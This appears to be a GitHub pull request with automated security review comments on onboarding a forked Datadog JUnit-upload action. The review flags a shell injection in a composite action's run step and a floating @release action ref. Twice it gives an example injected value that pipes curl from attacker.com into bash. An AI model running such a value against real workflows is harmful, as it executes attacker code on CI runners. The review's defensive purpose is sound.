feat: onboarding junit-upload-github-action

[Raj-StepSecurity]

No description provided.

[github-actions]

🔒 Security: Shell Injection Risk

${{ inputs.datadog-ci-version }} is directly interpolated into the shell run: block. A caller who provides a malicious value (e.g., v5"; curl -s attacker.com | bash; echo ") could execute arbitrary commands.

Fix: Pass the input through an environment variable instead of inline interpolation:

Suggested change

	translated_version=$("${GITHUB_ACTION_PATH}/scripts/translate-version.sh" "${{ inputs.datadog-ci-version }}")
	translated_version=$("${GITHUB_ACTION_PATH}/scripts/translate-version.sh" "$DATADOG_CI_VERSION")

And add DATADOG_CI_VERSION: ${{ inputs.datadog-ci-version }} to an env: block on this step.

[github-actions]

❌ Unpinned External Action

@release is a floating branch reference — it can silently change any time the branch is updated, creating a supply chain risk. Composite actions must pin every non-official GitHub action to a specific immutable ref (full commit SHA or a fixed version tag).

Suggested change

	uses: step-security/install-datadog-ci-github-action@release
	uses: step-security/install-datadog-ci-github-action@v1

Use a concrete version tag (e.g. @v1) or a full commit SHA.

[github-actions]

⚠️ Unconventional Permissions Placement

The permissions block appears after jobs:, which is non-standard. While YAML mappings are order-independent (so this works), GitHub Actions convention — and most linters — expect permissions to appear before jobs: at the top level. Consider moving it up for clarity and tooling compatibility.

[github-actions]

PR Review

Action Type

Composite Action — action.yaml uses using: "composite".

---

✅ Passed Checks

• License: LICENSE is present with copyright for both the original author (Datadog, Inc. © 2022) and StepSecurity (© 2026).
• SECURITY.md: Present and directs reports to security@stepsecurity.io.
• No FUNDING.yml: Not present.
• No renovate.json: Not present.
• No PULL_REQUEST.md: Not present.
• No ISSUE_TEMPLATE folder: Not present.
• No CHANGELOG.md: Not present.
• No .vscode folder: Not present.
• Workflow files: Both .github/workflows/auto_cherry_pick.yml and .github/workflows/actions_release.yml are present.
• README banner: StepSecurity maintained-action banner is present at the top of README.md.
• README usage example: Uses major version tag step-security/junit-upload-github-action@v2 (not a full semver tag).
• Subscription check URL: Correct — calls https://agent.api.stepsecurity.io/v1/github/$GITHUB_REPOSITORY/actions/maintained-actions-subscription.
• Upstream variable: UPSTREAM="datadog/junit-upload-github-action" correctly matches original-owner: "datadog" / repo-name: "junit-upload-github-action" in auto_cherry_pick.yml.

---

❌ Failed Checks

• Unpinned external action in composite action (action.yaml line 118): step-security/install-datadog-ci-github-action@release uses the floating branch name release instead of a fixed version tag or commit SHA. Composite actions must pin all non-official GitHub actions. Change to a concrete ref such as @v1 or a full commit SHA.

---

⚠️ Warnings

• permissions block placement in audit_package.yml: The permissions key appears after the jobs: block (line 24). While valid YAML, the convention is to place permissions before jobs: at the top level. Some linters may flag this.
• check-junit-upload.js: This CI verification script interpolates process.env.EXTRA_TAGS directly into a Datadog query filter string without sanitisation. Not a concern for action consumers but worth noting for CI integrity.

---

🔒 Security Findings

1. Shell injection via ${{ inputs.datadog-ci-version }} (action.yaml line 105): The datadog-ci-version input is interpolated directly into a run: shell step. A caller supplying a crafted value (e.g. v5"; curl attacker.com | bash; echo ") could execute arbitrary commands. Fix: assign the input to an environment variable (DATADOG_CI_VERSION: ${{ inputs.datadog-ci-version }}) and reference $DATADOG_CI_VERSION in the shell script rather than the inline ${{ }} expression.

2. Floating action ref (action.yaml line 118): @release is a mutable branch pointer. If the referenced action repository is compromised or updated unexpectedly, all users of this action pick up the change silently — a supply chain risk.

---

Summary

The onboarding is largely complete and well-structured. Two issues must be fixed before merge: the shell injection risk from directly interpolating a user-controlled input in a run: step, and the unpinned @release branch reference to the external install-datadog-ci action.